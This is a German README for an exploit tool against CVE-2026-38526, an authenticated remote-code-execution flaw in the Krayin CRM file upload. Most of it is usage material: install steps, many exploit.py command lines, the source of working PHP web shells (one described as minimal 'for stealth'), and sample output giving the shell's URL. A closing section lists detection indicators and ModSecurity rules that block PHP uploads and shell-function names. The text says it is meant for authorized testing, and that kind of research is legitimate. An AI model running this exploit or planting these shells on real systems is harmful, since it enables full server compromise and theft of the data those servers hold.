
CVE-2026-38526 Exploit für Krayin CRM v2.2.x - Authentifizierte RCE über TinyMCE-Datei-Upload-Bypass. Bietet interaktive Shell, Multityp-Payloads, automatische Shell-Generierung und Verifizierung. Autor: Sudeepa Wanigarathna. Nur für autorisierte Tests.
⚠️ NUR FÜR AUTORISIERTE SICHERHEITSTESTS - Unbefugte Nutzung ist illegal und unethisch.
Dieses Exploit-Tool demonstriert eine kritische, authentifizierte Remote-Code-Ausführungs-Schwachstelle (RCE), die in Krayin CRM Version 2.2.x entdeckt wurde. Die Schwachstelle existiert in der TinyMCE-Datei-Upload-Funktionalität, die es authentifizierten Administratoren ermöglicht, beliebigen PHP-Code auf dem Server hochzuladen und auszuführen.
| Eigenschaft | Wert |
|---|---|
| CVE ID | CVE-2026-38526 |
| Betroffene Software | Krayin CRM v2.2.x |
| Schwachstellentyp | Authentifizierte Remote-Code-Ausführung (RCE) |
| Authentifizierung erforderlich | Ja (Admin-Level-Zugriff) |
| Auswirkung | Vollständige Systemkompromittierung |
| CVSS-Score | 8.8 (Hoch) |
Die Schwachstelle resultiert aus einer unzureichenden Dateityp-Validierung im TinyMCE-Datei-Upload-Endpunkt (/admin/tinymce/upload). Ein authentifizierter Administrator kann:
bashPython 3.7+pip install httpx beautifulsoup4 coloramagit clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt
requirements.txt)httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> [OPTIONS]
# Basic exploitation with generated shell
python3 exploit.py -t http://target.com -u [email protected] -p password
# Upload custom PHP shell file
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php
# Generate advanced shell with interactive mode
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i
# Generate shell file without exploitation
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php
# Use with proxy for testing/debugging
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080
# JSON output for automation
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json
# Verbose mode with custom timeout
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60
# Custom User-Agent and headers
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"
Basic Shell (basic)
Einfache Befehlsausführung mit der system()-Funktion.
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
Advanced Shell (advanced)
Funktionsreiche Shell mit:
Minimal Shell (minimal)
Minimaler Fußabdruck für Heimlichkeit.
<?php system($_GET["cmd"]); ?>
File Manager (file_manager)
Vollständige Dateiverwaltungsschnittstelle:
Custom Shell (custom)
Verwenden Sie Ihre eigene PHP-Shell-Datei mit dem Parameter -f.
Menschenlesbare, farbige Ausgabe für die interaktive Nutzung.
-o json)Maschinenlesbares Format für Automatisierung und Integration.
{
"success": true,
"shell_url": "http://target.com/shell.php",
"upload_url": "/storage/upload/shell.php",
"message": "Upload successful",
"timestamp": 1699123456.789,
"details": {
"status_code": 200,
"response": "..."
}
}
-q, --quiet)Keine Ausgabe außer bei Fehlern. Nützlich für die Stapelverarbeitung.
--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"
Zu überwachende Dateien:
public/storage/upload/image.php.jpg)Zu prüfende Logs:
/admin/tinymce/upload POST-AnfragenSystemindikatoren:
Sofortmaßnahmen:
# Update to patched version
composer update krayin/crm
# Disable admin access temporarily
# Remove unnecessary admin accounts
# Change all admin passwords
Härtung des Datei-Uploads:
// Validate file type by content, not just extension
// Implement content security policy
// Use Web Application Firewall (WAF)
// Enable file upload scanning
Zugriffskontrolle:
# Restrict admin IPs in .htaccess
# Implement MFA for admin accounts
# Regular admin audit
# Session timeout policies
WAF-Regeln (ModSecurity):
# Block suspicious file uploads
SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'PHP file upload blocked'"
# Block web shells
SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Shell command blocked'"
Diese Schwachstelle wurde durch verantwortungsvolle Sicherheitsforschung entdeckt. Der Offenlegungsprozess folgte diesen Schritten:
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE.
USE OF THIS TOOL FOR ANY PURPOSE OTHER THAN AUTHORIZED SECURITY TESTING
IS ILLEGAL AND UNETHICAL. THE AUTHOR TAKES NO RESPONSIBILITY FOR
UNAUTHORIZED USE OR ANY DAMAGES CAUSED BY THIS TOOL.
Problem: Authentifizierung schlägt fehl
/admin/login istProblem: Datei-Upload schlägt fehl
Problem: Shell führt keine Befehle aus
php.ini nicht deaktiviert sindecho testProblem: SSL-Zertifikatsfehler
--verify-ssl-Flag verwenden oder Überprüfung deaktivieren# Enable verbose logging
python3 exploit.py -t http://target.com -u admin -p pass -v
# With proxy (Burp Suite, etc.)
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080
Beiträge sind willkommen! Bitte stellen Sie sicher:
Wenn Sie dieses Tool für die Sicherheitsforschung nützlich finden, denken Sie bitte an:
Erstellt mit ❤️ für Sicherheitsforschung
Denken Sie daran: Große Macht kommt mit großer Verantwortung. Nutzen Sie dieses Wissen weise!
# Quick reference
python3 exploit.py -t URL -u USER -p PASS [OPTIONS]
# Options:
# -f FILE Upload custom shell
# --shell-type TYPE Basic|Advanced|Minimal|File_Manager|Custom
# -i Interactive mode
# --proxy URL HTTP proxy
# -v Verbose output
# -o json JSON output
# --generate-only Create shell without exploiting
# --timeout SEC Request timeout
# --retry N Retry count
# --user-agent UA Custom User-Agent
# --header "K: V" Custom headers
# --verify-ssl Verify SSL certificates
# -q, --quiet Suppress output
🔒 Denken Sie daran: Holen Sie immer eine schriftliche Genehmigung ein, bevor Sie ein System testen!
| Parameter | Beschreibung |
|---|
-t, --target | Ziel-URL (z.B. http://192.168.1.100) |
-u, --username | Admin-Benutzername oder E-Mail |
-p, --password | Admin-Passwort |
| Option | Beschreibung | Standard |
|---|
--timeout | Zeitüberschreitung für Anfragen in Sekunden | 30 |
--retry | Anzahl der Wiederholungsversuche | 3 |
--retry-delay | Verzögerung zwischen Wiederholungen in Sekunden | 2 |
--user-agent | Benutzerdefinierte User-Agent-Zeichenfolge | Standard-Browser-UA |
--header | Benutzerdefinierte HTTP-Header (Key: Value) | Keine |
--verify-ssl | SSL-Zertifikate überprüfen | False |
--proxy | HTTP/HTTPS-Proxy-URL | Keine |
-v, --verbose | Debug-Ausgabe aktivieren | False |
-q, --quiet | Gesamte Ausgabe unterdrücken | False |